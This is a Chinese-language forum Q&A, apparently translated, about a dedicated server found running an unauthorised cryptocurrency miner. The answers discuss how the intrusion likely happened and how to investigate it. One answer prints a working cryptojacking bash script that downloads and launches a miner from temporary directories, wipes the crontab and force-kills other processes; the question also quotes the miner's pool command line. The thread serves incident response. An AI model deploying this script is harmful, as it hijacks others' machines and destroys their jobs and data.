我被駭客攻擊了嗎?

我被駭客攻擊了嗎?

我運行一個專用伺服器,最近我注意到 CPU 使用率很高,並檢查了進程。看來有人(mick 帳戶)正在我的伺服器上挖礦。這怎麼可能?流程如下。我已暫停該帳戶。我還需要做什麼?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

答案1

如果您執行的 Web 伺服器允許伺服器端腳本(php、ruby 等),那麼這很容易做到。

用戶所要做的就是產生一個腳本,將文件下載到/tmp/sh64然後運行它。 Web 腳本通常需要能夠執行外部程序,因此此類活動很難防止。

如果該mick帳戶與用於運行用戶的網路腳本的帳戶相同,那麼我會說不,您沒有被駭客攻擊。只是一個用戶濫用他們的帳戶。

如果您想防止這種行為,有幾種方法可以防止它。您可以禁止呼叫外部程式。或者您可以執行諸如終止長時間運行的程式之類的操作(例如,任何運行時間超過 60 秒的程式)。
如果不了解有關設定的更多詳細信息,則很難確定最佳的操作方案。

答案2

我有類似的問題。他們利用 Nagios NRPE 代理程式的過時版本來運行wget腳本,該腳本安裝並配置了 Sourceforge 的比特幣挖礦程序(NRPE 守護程序已dont_blame_nrpe啟用)。我還沒有發現任何表明我的機器上的嘗試是持久的。

這是用於安裝和設定比特幣礦工的腳本:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

該腳本完全以 Nagios 使用者身分執行,因此不需要任何 root 存取權限。

答案3

您的系統肯定已被破壞,或者最糟糕的情況是被駭客入侵。還有其他故事描述了正在安裝的類似礦機。

我會採取這樣的立場:您的系統已受到損害,並啟動其中的所有關鍵內容,以便您在尚未備份的情況下對其進行備份。

分析

如果您好奇他們是如何進入的,您需要獲取已安裝的服務(Web、MySQL 等)的完整列表,並查看是否存在任何允許某人獲得提升權限的活動漏洞。

我將從任何基於網路的應用程式的網路支援開始。通常情況下,這些應用程式可能會發生緩衝區溢位並修改 Web 伺服器的堆疊,以便安裝其他應用程式。

事實上,這些類型的危害可能是孤立的事件,因此只需刪除有問題的軟體和惡意軟體就足以將其根除,而無需花費時間來完全恢復/設定係統。

如果這個系統是使用基於 VPS 的映像建立的,那麼我會與提供者合作,因為修補它似乎符合他們所有客戶的最大利益。

不僅僅是損害網路堆疊

盒子上的所有東西都必須經過仔細檢查,而且本質上是不值得信任的,但我會花一些時間看看你是否無法弄清楚攻擊者是從哪裡登入的,如果有的話。他們可能使用在破壞系統後添加到系統的 SSH 帳戶登入。

這可能是一項艱鉅的任務,需要花費大量的時間來進行分析,特別是如果您不能信任包裝盒上的任何工具來協助完成這項工作。我鼓勵任何人花時間了解他們的系統是如何受到損害的,以便您可以降低未來再次發生這種情況的風險,至少透過這個特定的媒介。

如果這不是生產類型的問題,那麼這實際上是一個很好的學習機會,可以深入了解系統如何受到損害以及潛在攻擊者如何「利用」存取權限。

一線希望?

由於該系統用於採礦目的,因此他們很可能使用了自動腳本工具集,因為攻擊足夠多的系統來設定殭屍礦工似乎需要花費大量時間。當使用諸如此類的工具時,它們的構造通常很粗劣,只是只想做最低限度的工作來獲得立足點,然後交付它們的有效負載(挖掘軟體),因此您可能會幸運並獲得一些額外的見解他們是如何進入的。

相關內容